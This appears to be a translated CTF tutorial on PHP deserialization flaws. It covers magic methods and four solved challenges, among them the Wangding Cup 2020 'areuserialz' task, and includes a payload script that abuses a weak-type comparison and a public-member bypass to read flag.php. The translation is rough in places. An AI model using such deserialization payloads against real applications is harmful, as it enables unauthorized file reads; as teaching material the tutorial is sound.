Mind map
Knowledge points
PHP deserialization
Principle: if the serialized string entered by the user is not detected, the attacker can control the deserialization process, resulting in uncontrollable consequences such as code execution, SQL injection, directory traversal, etc.
Some magic methods are automatically triggered during deserialization. When deserializing, it is possible to trigger some magic methods in the object.
- serialize() / / convert an object to a string
- unserialize() / / restore the string to an object
Trigger: the variable of unserialize function is controllable. There are available classes in the file. There are magic methods in the class:
- _ construct() // Triggered when an object is created
- _ destruct() // Triggered when the object is destroyed
- _ call() // Triggering an invocable method in an object context
- _ callStatic() // Triggering an invocable method in a static context
- _ get() // Used to read data from inaccessible properties
- _ set() // Used to write data to inaccessible properties
- _ isset() // Triggered by calling isset() or empty() on an inaccessible property
reference resources: https://www.cnblogs.com/20175211lyz/p/11403397.html
Key points of this lesson:
- Case 1: PHP deserialization warm-up question - no class problem - Local
- Case 2: CTF deserialization small real problem - classless execution - instance
- Case 3: CTF deserialization exercise - class magic method trigger - Local
- Case 4: WANGDING cup 2020 Qinglong real topic - triggered by similar magic method - Example
Case 1: PHP deserialization warm-up question - no class problem - Local
Case demonstration 1: understanding serialization
PHP online execution: http://www.dooccn.com/php/
<?php $a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut'); //Serialized array $s = serialize($a); echo $s; //Output results: a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";} ?>
Case demonstration 2: local instance
Source code: test php
<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
?>
Enter s:6:"xiaodi"; Successfully got the flag.
Case 2: CTF deserialization small real problem - classless execution - instance
Bugku CTF Title: https://ctf.bugku.com/challenges\#flag.php
The title is as follows, hint
After opening the scene, a login box appears
This login box is useless. Add it after the url according to the prompt? hint=111, the system returns the source code
Audit the source code and find the deserialization vulnerability.
Exploit:
<1> Use the php online execution tool to serialize the key
<2> Construct the request and put the deserialized key into the cookie,
<3> Release request, found no flag returned. Why? The reason is that there are two pits:
Next, delete the hint parameter in the request, change the cookie value to the serialized null value, release the request and successfully get the flag.
Case 3: CTF deserialization exercise - class magic method trigger - Local
Test code
<?php class ABC{ public $test; function __construct(){ $test =1; echo 'Constructor called<br>'; } function __destruct(){ echo 'Destructor called<br>'; } function __wakeup(){ echo 'The wake-up function was called<br>'; } } echo 'create object a<br>'; $a = new ABC; echo 'serialize<br>'; $a_ser=serialize($a); echo 'Deserialization<br>'; $a_unser = unserialize($a_ser); echo 'The object is dying!'; ?>
Online execution results
Description of execution results,
- When an object is created, it is called by default__ The construct() method,
- When deserialized, the default call__ wakeup() function,
- Called by default when the object is destroyed__ destruct() function
Case 4: WANGDING cup 2020 Qinglong real topic - triggered by similar magic method - Example
Case: 2020 - wangdingbei - Qinglong formation - Web areuserialz
Address: https://www.ctfhub.com/#/challenge
After entering the scene, the following code is displayed
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { //Weak type judgment, only value judgment, op assignment number 2 or string '2' is also true $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { //The destructor is executed when the class is destroyed, that is, at the end if($this->op === "2") //Strong type comparison to judge the value + type. You can use the number 2 or string '2' to bypass the judgment $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); //Deserialize, so serialize first. } }
First of all, it is judged by the ctf naming and code function serialize. This topic examines the knowledge points of deserialization
- First: get the flag and store the flag php
- Second: two magic methods__ destruct __construct
- Third: trigger destruct after transmitting str parameter data, and is exists_ Valid filtering
- Fourth:__ process will be called in destruct, where op=1 writes and op=2 reads
- Fifth: the object FileHandler, variables op, filename and content are involved to construct the output
Involving: deserialization magic method call, weak type bypass, ascii bypass
Weak type bypass
Use this class to read the flag. Only__ destruct function (destructor).
__ In the if ($this - > OP = = = "2") code of the destroy function, the OP is judged to be = = = strong type, and the op value will be assigned as 1 when it is string 2,
If ($this - > OP = = "2") code in the process function, use = = to judge (weak type) (the content can be read only when the op value is 2),
Therefore, there is a weak type comparison, and the number 2 or string '2' can be used to bypass the judgment.
ascii bypass
is_ The valid function also verifies the serialized string.
During PHP serialization, if the member is modified by private and protected, the invisible character \ x00 will be introduced. The ASCII code corresponding to these characters is 0, which is a character with ASCII not between 32 and 125. After is_ The valid function will return false in the future, which makes it impossible to execute the inverse sequence function.
Tested in php7 In the 2 + environment, public is used to modify members and serialize them. After deserialization, members will also be overwritten and modified by public. Therefore, it can be changed to public to bypass is_valid function validation.
payload:
<?php class FileHandler{ public $op=' 2';//The source code tells us to write when op is 1 and read when op is 2 public $filename="flag.php";//Flag. Is called at the beginning of the file php public $content="xd"; } $flag = new FileHandler(); $flag_1 = serialize($flag); echo $flag_1; ?>
Serialize first
Pass the parameter and successfully get the flag.